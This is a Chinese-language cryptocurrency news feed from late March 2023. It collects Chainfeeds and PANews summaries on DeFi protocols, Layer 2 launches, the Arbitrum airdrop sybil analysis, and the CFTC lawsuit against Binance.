    Chainfeeds 导读： Solana 生态上的奇异期权协议 Cega 宣布完成由 Dragonfly 领投的 930 万美元种子轮融资，该资金旨在继续推进 DeFi 和奇异衍生品的界限突破，加速其多链扩张并推出创新 DeFi 策略。官方发推解读其协议原理机制。 文章来源： https://twitter.com/cega_fi/status/1640383936449728513 文章作者： Cega 观点： Cega：Cega 是第一个在链上创建奇异期权结构化产品的协议，自 2022 年 6 月推出以来一直是 DeFi 加密结构化产品的领先提供商。奇异期权与普通期权的不同之处在于，它添加了定制的非标准功能，为投资者提供独特的回报，例如增加收益率和针对严重市场下跌的下行保护。【原文为英文】 内容来源 Cega：例如，用户可以抵押 USDC 来交易「如果 BTC 或 ETH 在接下来的 27 天内跌幅不超过 50%，将获得 12% 的 APY」等奇异期权策略。Cega 的交易量和 TVL 在 Solana 中排名第一。多链扩张正在进行中，以启动具有加密基础的奇异期权市场。最近的这笔资金将加速 Cega 产品目录的扩展，开发新的 DeFi 创新原语，并为奇异的衍生品专家创建一个交易团队。【原文为英文】 内容来源 Cega：Cega 的首款奇异期权结构性产品是固定息票票据，它通过提供卓越的收益率、内置的下行保护和复合回报使散户投资者受益。做市商通过为其投资组合获得贴现对冲而受益。Cega 在奇异期权智能合约方面的创新创造了一个全新的 DeFi 原语，并使我们成为 Solana 上排名第一的期权协议和整个 DeFi 领域的顶级衍生品协议之一。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Rook 协议正提议解散 DAO? 或将对整个 DeFi 生态产生影响
    Chainfeeds 导读： Rook 协议正在提议解散 DAO，引起人们对项目停止和缺乏透明度的恐慌。加密 KOL Ignas 对此提案进行全面解读，认为该提案不仅对 ROOK 持有者，而且对整个 DeFi 生态都有可能产生不好的影响。 文章来源： https://twitter.com/DefiIgnas/status/1640253490651078656 文章作者： Ignas | DeFi Research 观点： Ignas | DeFi Research：提案中引用了管理团队与 $ROOK 代币持有人之间的利益不一致、增长缓慢以及有缺陷的把关机制。例如，目前的团队正在否决和控制不符合他们目标的社区主导的提案。提醒：ROOK 协议通过在应用程序层进行管理，帮助保护用户和去中心化应用程序免受 MEV 的负面影响。它由社区拥有并由 DAO 管理，旨在使协议、应用程序和用户受益，而不是成为有害的利润最大化实体。【原文为英文】 内容来源 Ignas | DeFi Research：该提案旨在解散 DAO 并将 ROOK 治理的金库按比例分配给 $ROOK 治理代币持有者。理由是什么？1）治理机制将代币持有者排除在流程之外，确保了管理团队的权力。2）领导层未能推动协议发展，6 个月内交易量下降了约 78%。22 位 DAO 贡献者的燃烧率为每年 610 万美元，ROOK 代币却只有 10% 的补偿。3）管理团队没有公开可用的路线图或目标。该项目目前的价值不到 1700 万美元，比 DAO 的 4400 万美元治理代币控制的储量折价 61%。【原文为英文】 内容来源 Ignas | DeFi Research：该提案正在对 $ROOK 治理代币持有者造成价值破坏，他们无法阻止财富从国库转移到管理团队。其 CEO Hazard 表示，他们「受订单流提供者意愿的约束」，但仍旧对路线图表示沉默，并承认 DAO 在运营活动在缺乏发言权。Hazard 认为公共治理和私人信息之间的平衡可能需要向公共透明度倾斜，并且淡化了代币的重要性，警告投机者不要基于 ROOK 的产出指望代币的表现。【原文为英文】 内容来源  ( 2 min )
    【英文】一文解读 Eigenlayer 及其相关术语
    Chainfeeds 导读： 加密开发者 0xAsharib 在 Eigenlayer 论坛上发贴，解读 Eigenlayer 及其相关术语。 文章来源： https://forum.eigenlayer.xyz/t/explain-eigenlayer-or-related-terminologies/424 文章作者： 0xAsharib 观点： 0xAsharib：1）EigenLayer：以太坊的重质押集合，由一组智能合约组成。它允许以太坊质押者通过对其质押的以太坊施加额外的罚没条件来验证基于以太坊生态系统构建的新软件模块。这提高了 DApp 的安全性并提供了新的费用共享机会，这是一个建立在以太坊区块链之上的层，允许在不损害以太坊基础层的民主治理的情况下进行敏捷创新。【原文为英文】 内容来源 0xAsharib：2）罚没（slashing）条件：如果质押者行为不端或不遵守协议，则通过拿走一部分质押的 ETH 来惩罚质押者的规则。3）主动验证服务（AVS）：需要自己的分布式验证语义进行验证的服务，例如侧链、数据可用性层、新虚拟机、守护者网络、预言机网络、桥接器、阈值加密方案和可信执行环境。4）Boostrapping 问题：为新的 AVS 创建新的信任网络的挑战，这可能很困难且需要大量资源。【原文为英文】 内容来源 0xAsharib：5）价值泄漏：费用从以太坊转移到 AVS 信任池，减少了以太坊积累的价值。6）通过重抵押的共享安全性：共享安全性是指多方结合他们的资源为系统提供更大的整体安全性。在 EigenLayer 中，以太坊验证者可以通过选择在 EigenLayer 上构建的新模块来「重质押」他们的以太坊。这意味着他们承诺他们质押的以太也可以保护这些新模块，从而提高系统的整体安全性。【原文为英文】 内容来源 0xAsharib：7）超大规模 AVS（Hyperscale AVS）：为水平扩展而设计的特定于应用程序的验证器集，其中总计算工作负载分布在所有参与节点上。这种设计允许高吞吐量并减少中心化验证的动机。8）超大规模数据可用性层（Hyperscale DAL）：数据可用性层，可以处理大量数据，以低成本提供高数据可用性率。它使用 EigenLayer 重质押和来自以太坊社区的前沿思想，例如 Danksharding。【原文为英文】 内容来源  ( 10 min )
    【英文长推】一文了解 Mantle 生态基金和扶持计划
    Chainfeeds 导读： 近日，Mantle 宣布了他们的生态基金和扶持计划的部署，提供价值高达 2 亿美元的资金准备部署。加密货币 KOL CJ 详细介绍了此计划以及通过审核的项目可以获得 Mantle 的哪些支持。 文章来源： https://twitter.com/cjcjcjcj_/status/1640356760174358530 文章作者： CJ 观点： CJ：Mantle 生态基金包括什么：本质上是一个巨大的 VC 类型基金，包括来自 BitDAO 国库的 1 亿美元 USDC 和另外来自其他战略风险投资合作伙伴的 1 亿美元 USDC。该基金主要分为四个关键点：1）将开发人员和 dapp 推广到 Mantle 上；2）让大型风险投资公司投资于构建在 Mantle 上项目中；3）在支持建设者同时保持 Mantle 生态系统繁荣；4）获得利润。需要注意的是，第一点比第二至第四点更重要。因此，在 Mantle 上专门构建项目将具有优势。【原文为英文】 内容来源 CJ：Mantle 的拨款计划已经上线并接受申请，主要分为 3 个项目：现有项目（高达 100K 美元）；构思阶段（高达 25k 美元）；用户活动挖掘（高达 25k 美元）。大多数以 USDC 支付，项目也可以请求以 BIT 的形式支付。所有通过审核的项目都将得到 Mantle 的支持：市场营销；开发 / 工程；网络 / 与 DAO 潜在合作伙伴关系；可能列入 Bybit 名单。【原文为英文】 内容来源  ( 2 min )
    解密 Etherscan：年赚千万美元，区块链浏览器背后的生意经
    Chainfeeds 导读： Etherscan 是一个帮助用户浏览以太坊区块链的工具，更常被称为区块链浏览器，每月有 8000 万次的访问量。Etherscan 没有代币，那么它的收入来源是什么呢？Launchy 认为其通过提供 SaaS、API 计划、广告和捐赠等方式产生收入，并估算 Etherscan 每年的收入为 623 万到 2149 万美元。本文由深潮 TechFlow 编译。 文章来源： https://m.techflowpost.com/article/2322 文章作者： 深潮 TechFlow 观点： 深潮 TechFlow：Etherscan 从以下方面产生收入：SaaS：Etherscan 提供主要为 B2B 的 SaaS 服务。API 计划：Etherscan 提供 API 计划以访问其数据，价格从免费到每月 399 美元不等，并有未公开的企业定价。广告：Etherscan 有 5 种类型的广告。链上服务：我们发现 Etherscan 的其中一个产品 BSCscan 提供委托服务，而且 Etherscan 正在开发其他的链上工具，包括钱包对钱包的消息传递、代币授权撤销工具等等。捐赠：这很简单。该平台允许用户捐款支持其开发和维护。 内容来源 深潮 TechFlow：Etherscan 的收入：每年 623 万到 2149 万美元。新闻简报：每年 12 万到 30 万美元；网站广告：每年 320 万到 864 万美元；API 计划、链上服务和 B2B SaaS：每年 291 万到 1255 万美元；Etherscan 的支出：每年 125 万到 433 万美元。我们的粗略估算结果是：最低毛利润为 190 万美元（623 万美元 - 433 万美元）；最高毛利润为 2024 万美元（2149 万美元 - 125 万美元）。 内容来源  ( 2 min )
    【英文长推】Messari：针对 AI 相关问题提出基于加密技术的解决方案
    Chainfeeds 导读： 随着 AI 开发利用的步伐持续加快，需要解决成本上升和资源需求增加等问题。Messari 研究员 Sami Kassab 探讨了加密技术如何解决这些问题。 文章来源： https://twitter.com/messaricrypto/status/1640363562022604800 文章作者： Messari 观点： Messari：AI 的进步是由三个主要因素（算法创新、数据、计算）驱动的，但有两个问题已经浮出水面：计算瓶颈、效率低下和缺乏协作。训练基础机器学习模型需要大量资源，通常涉及长时间使用大量 GPU。人工智能的高昂计算成本给追求进步的研究人员和组织造成了重大障碍。【原文为英文】 内容来源 Messari：加密技术如何满足计算需求？分步式计算网络将寻求计算资源的实体连接到具有空闲计算的系统。无需额外费用，去中心化网络可以提供负担得起的选择。缺乏协作导致效率低下，使较小的机器学习研究实验室处于不利地位。bittensor 正在解决机器学习中的低效率问题，同时通过使用标准化输入和输出编码以实现模型互操作性来激励在开源网络上产生知识，从而改变研究人员的协作方式。【原文为英文】 内容来源  ( 2 min )
    【英文长推】观点：Web3 与 Web2 品牌的合作不是促进 NFT 大规模采用的关键
    Chainfeeds 导读： 昨日，Yuga Labs 宣布与 Gucci 建立合作关系，旨在「通过探索元宇宙中时尚与娱乐的交叉点」来增加社区之间的参与。NFT 研究员 Hunter Solaire 以 Web3 与传统大品牌合作为例，他认为类似的合作暂时还不会促进的 NFT 的大规模采用，先决条件是区块链技术能够在速度、质量和易用性方面有巨大提升。 文章来源： https://twitter.com/huntersolaire_/status/1640377011775627265 文章作者： Hunter Solaire 观点： Hunter Solaire：Web3 中的大多数品牌合作在经历两天的炒作后就会被遗忘。早在 2021 年，任何品牌进入 Web3 都会引起人们的 FOMO。诚然，品牌进入 Web3 有着各种目的，但我认为 NFT 的大规模采用绝对不是其中之一。【原文为英文】 内容来源 Hunter Solaire：品牌确实在努力：1. 创收；2. 建立社区（尤其是年轻社区）；3. 激励客户忠诚度。NFT 可以解锁这些效用，但这需要建立在更好的参与体验上。Web3 项目必须构建：1. 游戏；2. 社交中心；3. 人们愿意在花费 100 小时的沉浸式宇宙。这是目前我们当前还没有做到的。【原文为英文】 内容来源 Hunter Solaire：好消息是 Otherside 已经完成了一次测试，允许 7200 位玩家同时体验一个活动现场。我认为，只有在区块链可以提供速度、质量和易用性方面的优秀体验，我们才能与 Web2 巨头竞争。【原文为英文】 内容来源  ( 2 min )
    【英文】Glassnode 比特币链上指标周报
    Chainfeeds 导读： 速览比特币链上指标本周走势：交易所净流入增加，以短期持有者为主；实现的利润 / 损失与 Lifespan 指标均处于宏观下降趋势中；大多数比特币在链上似乎并不活跃；市场再一次进入过渡期。 文章来源： https://insights.glassnode.com/the-week-onchain-week-13-2023/ 文章作者： glassnode 观点： glassnode：本周交易所净交易流量增加了约 4180 BTC，这是自 2022 年 5 月 LUNA 崩盘以来的最大净增幅。这表明随着投资者撤出筹码，一定程度的获利回吐正在进行中。在上一个周期出现类似或更大净流入的事件都与主要的市场波动一致，通常是下行。短期持有者占总流入量的 92.5%，其中 65% 是利润，长期持有者占 7.5%，其中 80% 是利润。【原文为英文】 内容来源 glassnode：实现的利润 / 损失与 Lifespan 指标都处于宏观下降趋势中，这表明大多数代币在链上仍然不活跃。投资者持有时间（Coin Days Destroyed，CDD）略有上升但仍远低于典型的牛市水平。这表明卖出的代币仍相对较新，即短期持有者目以获利回吐为主。【原文为英文】 内容来源 glassnode：随着比特币市场休整，投资者获利回吐开始升温。在周期低点附近买入的短期持有者主导了大部分卖出行为，大多数比特币在链上似乎并不活跃，这表明投资者继续对当前的上涨趋势充满信心。从比特币的 Lifespan 的角度来看，比特币似乎又一次进入了市场过渡期。【原文为英文】 内容来源  ( 6 min )
    【英文长推】zkSync 生态系统中的六大更新动态
    Chainfeeds 导读： 随着 zkSync Era 主网的上线，基于 zkSync Era 令人兴奋的项目浪潮仍在继续。zkSync 列举了不断增长的生态系统中六个主要更新。 文章来源： https://twitter.com/zksync/status/1640399537868247040 文章作者： zkSync∎ 观点： zkSync∎：1）Web3 基础设施协议 The Graph 宣布，可以在 Subgraph Studio 中为 zkSync Era 主网构建子图。2）全球加密货币交易所 LBank 宣布支持 zkSync Era。3）智能数据解决方案 Pyth Network 宣布，他们的数据解决方案现在可供开发者在 zkSync Era 上构建。【原文为英文】 内容来源 zkSync∎：4）跨链 web3 平台 SpaceFi 宣布向 zkSync Era 推出其产品，并描述了即将为用户带来的一些创新功能。5）NFT 市场 zk Eagles 宣布登陆 zkSync Era 主网，并解释了团队对降低的燃料费、闪电般的交易以及 zk-rollup 技术光明的未来感到兴奋的原因。6）Layer2 网关 rhinofi 宣布在通往 zkSync Era 的桥上传递了 20,000 txs。【原文为英文】 内容来源  ( 2 min )
    【英文长推】一文解析使用 ZK rollup 技术的以太坊 Layer 2：zkSync
    Chainfeeds 导读： 近日 zkSync Era 主网正式上线，这是他们推出阶段的第一个产品，可以被视为 Alpha 版本。用户目前可以桥接到主网并与已经上线的项目进行交互。加密货币 KOL francesco 将其与 Optimistic Rollup 机制进行对比，从产品属性、优势、风险等方面解析了此项目。 文章来源： https://twitter.com/francescoglt/status/1639292448269819904 文章作者： francesco 观点： francesco：与 Optimistic Rollup 相比，zkSync 允许用户更快地桥接和提取资金，在多个 Layer2 中交互时，这一功能将越来越重要。zkSync Era 安全模型「保证以太坊 100％的安全性」，它不依赖于欺诈证明或博弈论，而是基于「基本数学和密码原语」。与现有 zkevm 相比，zkSync 做出了一些具有见解性的架构选择。例如，他们决定通过发布每笔交易涉及的存储槽的更新来管理日期可用性。【原文为英文】 内容来源 francesco：属性：1）数据可用性：免费调用数据。2）数据压缩：通过 zkSync 仅需要在巨大批次结束时为单个存储槽支付最终价格。3）数据扩展：某些数据不必发布在以太坊上，只需要以太坊保证交易的有效性，但数据可以被丢弃（例如一次性投票活动）。4）与以太坊兼容：zkSync Era 支持源代码 EVM 兼容性。【原文为英文】 内容来源 francesco：风险：由于 zk 是全新技术，涉及基本系统风险（如智能合约风险）。因此必须具有缓解机制，包括具有多层安全性：如果一个失败了，则必须依靠备份。这些复杂系统存在固有风险：很难预测风险将出现在哪里。这就是为什么系统架构必须尽可能简单和隔离，并具有最简单的界面。【原文为英文】 内容来源  ( 2 min )
    【英文】解析 Arbitrum 生态 AMM 协议 Chronos：如何为 ve (3,3) 引入长期流动性
    Chainfeeds 导读： Arbitrum 生态 AMM 协议 Chronos 以 SolidLizard 价格和 TVL 为例，探讨了其代表的 ve (3,3) 机制中代币价格和协议 TVL 的相关性。Chronos 通过 Maturity Adjusted LPs（maNFTs）为 LP 创造了新的机制，更大程度避免 LP 在价格波动情况下撤回流动性。 文章来源： https://medium.com/@chronosarbitrum/case-study-why-ve-3-3-needs-sticky-liquidity-85443a3720da 文章作者： Chronos 观点： Chronos：以 SolidLizard 价格和 TVL 为例：在上升趋势中，ve (3,3) 飞轮在推动 DEX 流动性方面非常强大；然而，在下降趋势中，SLIZ 的价格未能找到价格下限，因为与价格下跌相关的流动性被抽出并形成负反馈循环；价格与 TVL 的相关性会滞后约 2 天；TVL 需要 4 天的稳定才能转化为 SLIZ 价格的回升；有了保留流动性超过 2 天的机制，SLIZ 价格就有机会恢复并进一步维持飞轮。【原文为英文】 内容来源 Chronos：Chronos 的解决方案：1. 更具粘性的流动性：通过奖励那些在平台上保持较长时间的资金的用户来创造更多的流动性。当用户质押 LP 代币时会收到一个特殊的 maNFT，追踪其质押时间并在六周内提高代币的排放量；2. 时间价值成分：通过为 LP 头寸引入时间价值成分，创造激励机制。LP 可以在二级市场上以溢价出售他们的头寸，而不是在暂时的波动中撤出他们的资产。【原文为英文】 内容来源  ( 12 min )
    【英文】探索不同类型区块链应用程序的可扩展性需求及解决方案
    Chainfeeds 导读： 加密 KOL polynya 将所有区块链应用程序分为货币、DeFi、身份生态系统、DAO 和混合应用程序等 5 大类型，并逐一分析了各个类别的应用程序对区块链可扩展性的需求及合适的解决方案。 文章来源： https://polynya.mirror.xyz/vqdR7FHEzc-lfsWjA88s1uqYqLSgQoWvWm-KN39Zb2M 文章作者： polynya 观点： polynya：货币：对货币而言，最重要的用例是一种替代储备资产，一种价值存储。然后是可用于日常支付的稳定币和代币。总体而言，整个货币体系都是很容易解决的，并且不需要在链上进行太多的计算或数据占用。真正的瓶颈不是规模，而是用户体验、信任、Lindy 效应以及一般的用户如何进入等等。【原文为英文】 内容来源 polynya：DeFi：对于 DeFi，可编程性和 VM 是必要的，但最主要的要求是安全性。EVM 是「黄金标准」，扩展 DeFi 的圣杯是 zkEVM，但在 zkEVMs 成熟之前，EVM optimistic rollups 是最好的选择。当然，可以有更多实验性的 DeFi 相关应用程序可以构建在更新颖的 VM 上，但核心最好由 EVM 社区提供。【原文为英文】 内容来源 polynya：身份生态系统：身份生态系统最好由 ZK 链提供服务，它可以是 L1 或 L2。L2 对于加入广泛的以太坊社区非常有意义，已经有大量用户正在使用 ENS 或 POAP 等应用程序；但是，我也对以身份为重点的创新新 L1 的可能性持开放态度。总言之，这是另一个不需要大量传统可扩展性的类别，但可以从专门构建的隐私 ZK VM 中获益匪浅。【原文为英文】 内容来源 polynya：DAO：DAO 根据其性质需要不同类型的扩展。大型互联网原生 DAO 可能会保留在以太坊 L1 上，将它们的一些功能（如投票和协调）转移到 L2。也有有一些 DAO 只是将部分数据提交到他们选择的 L2 或 L1。一个例子可能是 DAO 有自己的协调、投票等的 volition chain，但只有代币是通过 Rollups 模式桥接的。【原文为英文】 内容来源 polynya：混合应用程序：混合应用程序是一个广泛的类别，其中一些应用程序确实需要百万级 TPS 吞吐量、新颖的 VM，但有些甚至可能没有块或链，只有 ZKP 来验证完整性。在许多情况下，混合应用程序真正需要的只是访问加密经济。这些低价值应用程序在自己的侧链 / L1 上会更好。【原文为英文】 内容来源 polynya：总结：货币和 DeFi 是加密货币的杀手级应用，占整个潜在市场的 90% 以上，我们拥有当今可扩展性所需的所有解决方案，因此，重点必须转移到应用程序、用户体验和新用户上。对于其他方面，当然还有实验的空间，但我们必须仔细考虑「全球共识」的必要性，因为绝大多数所谓的「Web3 应用程序」在混合模型（只需上链部分数据）中最有效。【原文为英文】 内容来源  ( 15 min )
    Arbitrum 空投防女巫攻击规则分析：还能做得更好吗？
    Chainfeeds 导读： Arbitrum 空投虽已尘埃落定，但值得验证总结。TrustaLabs 追踪分析了 Arbitrum 空投后三天内的代币领取、归集和售卖行为，发现一些可疑女巫地址，并提出了防女巫事前分析方案的优化可能性。 文章来源： https://medium.com/@trustalabs.ai/arbitrum%E7%A9%BA%E6%8A%95-%E8%BF%98%E8%83%BD%E5%81%9A%E7%9A%84%E6%9B%B4%E5%A5%BD%E5%90%97-9dc0319ca2f9 文章作者： TrustaLabs 观点： TrustaLabs：Arbitrum 空投亮点：1. 针对 Arbitrum DAO 组织，以及在其之上建立的活 跃 DApps，空投了可观的代币以激励其社区；2. 综合了用户较为全面的链上行为，针对性地从时间、交易笔数、交易金额等维度设计空投评分；3. 定义了不被鼓励的链上行为，通过减分规则设计规避大量机器和女巫行为；4. 基于社区发现算法 Louvain，发现并且剔除了在资金网络中的中大型女巫团伙。 内容来源 TrustaLabs：Trusta Labs 分析追踪了空投后三天内的用户转账行为，包括领取空投、代币归集、代币获利，发现了 96755 个领取 ARB 的女巫，总获利 ARB 达到惊人的 164153951 个。针对这 96755 个漏过的女巫，TrustScan 基于链上数据构建的 AI 模型可以有效地识别其中 24496 个女巫地址，补充识别比例为 25.3%。 内容来源 TrustaLabs：TrustScan 在空投前，能提供的系统性、前摄性武器包括：星状网络女巫攻击（资金网络的深度挖掘）；链式网络女巫攻击（资金网络的深度挖掘）；批量操作攻击（单个行为分析）；相似行为序列攻击（行为序列分析）。 内容来源  ( 3 min )
    比特小鹿将在纳斯达克上市，估值约 11.8 亿美元
    比特小鹿将在纳斯达克上市，估值约 11.8 亿美元 美国证券交易委员会（SEC）宣布吴忌寒旗下比特小鹿（Bitdeer）的 F-4 注册声明生效，该注册与 Bitdeer 和 Blue Safari 的拟议业务合并有关。Blue Safari 将于 4 月 11 日举行临时股东大会以批准业务合并等事项，合并后的公司 BTG 将成为纳斯达克上市公司，估值约 11.8 亿美元，股票代码为「BTDR」。 内容来源  ( 11 min )
    Polygon zkEVM 主网 Beta 版本已正式上线
    Polygon zkEVM 主网 Beta 版本已正式上线 Polygon zkEVM 主网 Beta 版本已正式上线，以太坊联合创始人 Vitalik Buterin 进行了象征性的第一笔交易。Polygon 表示，主网 Beta 版本包括了无需许可、EVM 等效、开源等特点。在主网 Beta 的第一阶段，将设置专门的安全委员会来快速升级 Polygon zkEVM。在第二阶段，Polygon 将采取一系列措施，以确保在出现任何问题时用户能够得到保护，但权利更加分散，并且没有具有特殊访问权限的安全理事会。为了使网络具有抗审查性，用户最终将能够在交易失败的情况下，将交易强制到以太坊 L1。这一机制将在推出后短暂启用。 内容来源 观点： steph.polygon：以太坊联合创始人 Vitalik Buterin 已在 Polygon zkEVM 主网上完成了其第一笔交易，交易哈希：0x18db0b46e46777b5b369460be229b0704abe7d24bf88dbfee99054c43b0c121c，交易额为 0.005 ETH，交易费 0.0003367104ETH，gas 费用 0.0000000152ETH。 内容来源  ( 11 min )
    美国 CFTC 起诉币安和赵长鹏涉嫌违反交易和衍生品规则
    美国 CFTC 起诉币安和赵长鹏涉嫌违反交易和衍生品规则 据彭博社报道，美国商品期货交易委员会（CFTC）于当地时间周一在芝加哥联邦法院提起诉讼，指控赵长鹏及其公司币安违反了交易和衍生品法律，币安前首席合规官 Samuel Lim 在起诉书中也被列为被告。CFTC 称，自 2019 年 7 月以来，币安一直在为美国人执行商品衍生品交易，但该公司既没有要求其客户提供身份验证信息，也没有制定合规程序。 内容来源 观点： CZ（CEO @Binance）：4（无视 FUD、假新闻、攻击等。）【原文为英文】 内容来源 CZ（CEO @Binance）：尽管我们与 CFTC 合作了两年多，但其提出的民事投诉令人意想不到且失望。经初步审查，该投诉似乎包含了对事实的不完整叙述，且我们不同意对投诉中指控的许多问题的定性。【原文为英文】 内容来源 Blockbytes：CFTC 明确指出 BTC、ETH 和 LTC 都是商品。在监管机构层面发生了有趣的「战斗」。【原文为英文】 内容来源 Jason Choi：正确的问题是，CFTC 要对币安进行多大的罚款才能影响到其作为一个企业的完整性。作为参考，CFTC 和 FinCEN 对 Arthur 团队（BitMEX）的罚款是 3000 万美元。【原文为英文】 内容来源 wolf：CFTC 起诉币安拥有一个 300 个账户「秘密」内部交易台。这说明币安基本上是在与他们所有的用户进行交易，他们的「量化」交易台使用私人交易数据。【原文为英文】 内容来源 FatMan：我对币安有秘密的内部交易账户和访问专有的客户数据感到震惊。逃避监管是一回事，对自己的客户进行反向交易是另一回事。这是一种背叛。【原文为英文】 内容来源 Ash WSB：所有加密货币交易所都被起诉了：Kraken、coinbase、币安等。同时，富达和纳斯达克公司正在加密货币交易的道路上。聪明的人正在进入，华尔街想从加密货币中分一杯羹。【原文为英文】 内容来源 Rui：SEC 对 Crypto 的持续打压或许是项目逃离美国的契机，不敢说东升西落，但接下来行情美国项目大多不敢做太过违规的事情。 内容来源  ( 2 min )

  • Open

    MakerDAO启动的Maker章程获得投票通过
    PANews 3月28日消息，在已结束的Maker章程投票中，76%的人投票赞成批准由Maker首席执行官兼联合创始人Rune Christensen撰写的“Maker章程”。Maker章程是一组提案，相关规则用于锁定MakerDAO运营范围。Maker章程有11条条款和12个范围框架，旨在规范MakerDAO操作流程。它提供了关于总体稳定性、去中心化和风险、前端治理、选民委员会和授权等各种平台相关功能的指导。这些框架将把MakerDAO的操作集中在实现Endgame目标上，使MakerDAO能够在短期内扩大其货币市场投资并增加协议收入。  ( 4 min )
    Coinbase将Flare (FLR)列入上币路线图
    PANews 3月28日消息，Coinbase Assets发推表示，已将Flare (FLR)列入上币路线图。  ( 4 min )
    赵长鹏：币安使用多种手段阻止美国客户，本人从未参与币安Launchpad和期货交易
    PANews 3月28日消息，币安CEO赵长鹏在官方网站对CFTC的民事诉讼作出回应。他表示，币安开发了一流的技术，以确保合规。币安通过国籍、IP地址、移动运营商、设备指纹、银行存取款、区块链存取款和信用卡银行标识代码等多种手段阻止美国客户。币安致力于与美国和全球的监管机构及执法机构保持合作。币安目前有超过750人的合规团队，许多人都有执法和监管机构的背景。迄今为止，币安已经处理了55000多个执法机构请求，并协助美国执法机构在2023年冻结/扣押了1.6亿美元资金。币安目前在全球拥有16个牌照/注册，数量为交易所中最多，并且还在不断增加。币安在任何情况下都不会“操纵”市场。币安的收入为加密货币形式，需要不时地将它们转换成法币或其他加密货币来支付费用。币安有子公司为流动性较差的交易对提供流动性，这些子公司受到特别监控，不允许它们获得巨额利润。 此外，赵长鹏表示，就他个人而言，在币安有两个账户，一个用于Binance Card，一个用于持有加密资产。他将加密货币存储在币安网站上，同时需要不时地转换加密货币来支付其个人费用。币安对员工有一个“90天禁止交易”的规定，即在购买加密货币90天内禁止出售，反之亦然。此外，币安禁止员工进行期货交易。赵长鹏表示他本人也严格遵守这些政策，从未参与币安Launchpad、Earn、保证金或期货交易。  ( 4 min )
    Coinbase呼吁创建抗通胀稳定币
    PANews 3月28日消息，Coinbase在一篇博客文章中表示，鼓励开发人员创建跟踪通货膨胀率的稳定币，使用户能够保持购买力，同时还能抵御传统金融体系造成的经济不确定性。Coinbase还表示，欢迎其他形式的抗通胀稳定币。它们不与法币挂钩，但填补了与法币挂钩稳定币和波动加密资产之间的空白。Coinbase补充称，鉴于全球银行体系近期面临的挑战，探索稳定币比以往任何时候都更重要。  ( 4 min )
    英国财政部取消由政府支持的NFT计划
    PANews 3月28日消息，据BBC报道，英国财政部宣布已取消由政府支持的NFT计划。该计划最初由英国首相苏纳克在2022年4月担任财政大臣时提出，当时皇家铸币局被要求在2022年夏天之前发行NFT，但该计划随后被推迟。在周一的一份声明中，英国城市大臣Andrew Griffith表示，在与英国财政部协商后，皇家铸币局目前不会推进发行NFT，但财政部将继续审查这一提议。英国财政部特别委员会主席Harriet Baldwin表示，加密行业的不确定性是推迟NFT计划的一个因素，目前还没有很多证据表明应该把资金投入这些投机代币。  ( 4 min )
    Arbitrum推特账户因错误标记而被暂停，现已恢复使用
    PANews 3月28日消息，据CoinDesk报道，Arbitrum的推特账户周一被暂停，但在几小时后恢复使用。Arbitrum基金会表示，推特对此解释称，“他们有系统可以批量发现并删除多个自动垃圾邮件账户，而Arbitrum的账户被错误地标记为垃圾账户”。  ( 4 min )
    美国银行监管机构正调查几家破产银行高管
    PANews 3月28日消息，据CoinDesk报道，美国联邦存款保险公司(FDIC)主席Martin Gruenberg表示，FDIC正在调查Signature Bank和硅谷银行高管的行为，以追究他们对银行倒闭负有的责任。他在为周二出席美国参议院听证会准备的证词中详细介绍了Signature Bank的管理不善和高风险业务集中，尤其是关于数字资产方面。Gruenberg在提交给美国参议院银行委员会的书面声明中表示，两家公司的高管将面临针对“他们给银行造成的损失以及他们在银行管理方面不当行为”的审查。该声明还详细介绍了Silvergate Bank的崩溃。与此同时，美联储负责监管的副主席Michael Barr也透露了硅谷银行内部存在类似问题。参议院银行委员会的听证会将于周二举行，随后众议院金融服务委员会的听证会将于周三举行。  ( 4 min )
    美国CFTC将寻求在币安案件中对其实施永久性的交易和注册禁令
    PANews 3月27日消息，美国商品期货交易委员会（CFTC）指控币安向美国交易员提供未经注册的期货和期权合约。美国商品期货交易委员会（CFTC）将寻求在币安案件中对其实施永久性的交易和注册禁令。  ( 4 min )
    CZ回应遭起诉：忽略FUD
    PANews 3月27日消息，币安创始人CZ回应“Binance及其CEO因违反监管规定被美CFTC起诉”事件时，引用其年初发布的“2023专注目标及建议”的第四条款作出回应，“Ignore FUD, fake news, attacks, etc.”，即忽略 FUD消息、假新闻、恶意攻击等。  ( 4 min )
    币安CEO因违反监管规定被美国CFTC起诉
    PANews 3月27日消息，据彭博社报道，交易平台币安CEO赵长鹏因违反监管规定被美国商品期货交易委员会（CFTC）在芝加哥联邦法院提起诉讼。CFTC表示，币安没有正确注册，从而逃避了义务。 至少从 2021 年开始，CFTC 就一直在调查 Binance 是否未能阻止美国居民买卖加密货币衍生品。CFTC 规则通常要求平台在允许美国人交易这些产品时向该机构注册。  ( 4 min )
    Polygon zkEVM主网Beta版将于今晚正式上线
    PANews 3月27日消息，Polygon zkEVM主网Beta版今晚将正式上线，以太坊创始人 Vitalik Buterin 将在美国东部时间上午 10:30（北京时间22:30）执行第一笔象征性交易。  ( 4 min )
    DYDX将于3月28日启动基于Cosmos的私有测试网
    PANews 3月27日消息，DYDX 将于 3 月 28 日开始启动其基于 Cosmos 区块链的私有测试网，并将首次对部分外部方开放。在第二阶段，交易所为自己的开发人员运行了一个内部测试网，以检查其所有基本功能。第三阶段将看到一个私人测试网，该测试网将向列入白名单的第三方开放，他们将充当网络上的验证者。展望最后两个阶段，目标是在 7 月推出其公共测试网，预计主网将在 2023 年 9 月底可用。 DYDX 还在构建一个 iOS 应用程序、一个 Android 应用程序和一个网站。  ( 4 min )
    PA日报｜Microstrategy再次购买6455个比特币；中行香港分行考虑向在港加密公司提供服务
